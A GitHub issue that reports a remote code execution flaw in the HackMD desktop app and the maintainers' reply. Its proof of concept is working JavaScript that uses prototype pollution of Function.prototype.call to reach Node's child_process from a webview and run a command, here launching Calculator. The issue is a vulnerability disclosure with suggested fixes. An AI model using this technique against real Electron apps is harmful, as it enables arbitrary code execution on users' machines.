Skip to content

hackmd desktop remote code execution #20

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
imagemlt opened this issue Oct 7, 2019 · 2 comments · Fixed by #21
Closed

hackmd desktop remote code execution #20

imagemlt opened this issue Oct 7, 2019 · 2 comments · Fixed by #21
Labels

Comments

@imagemlt
Copy link

imagemlt commented Oct 7, 2019

hackmd desktop use an old version of electron, in which we can use prototype pollution to get node ability back in webviews without nodeintegration.

poc:

<a href="http://127.0.0.1/gg.html">click me</a>

here is source code of gg.html

<script>
Function.prototype.call2=Function.prototype.call;
Function.prototype.call=function(...args){
    if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
        Function.prototype.call=Function.prototype.call2;
        args[0].mainModule.require('child_process').exec('open -a Calculator');
        }
        return this.call2(...args)
}
location.reload();
</script>

when click on it we can get a Calculator on mac.

image

suggestions:

  • open external links in system's browser
  • update electron
  • add contextisolation.
@imagemlt
Copy link
Author

imagemlt commented Oct 8, 2019

any questions?

@jackycute
Copy link
Member

Hi @imagemlt,
Thanks for reporting this issue and giving us suggestion.
We will investigate this soon.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants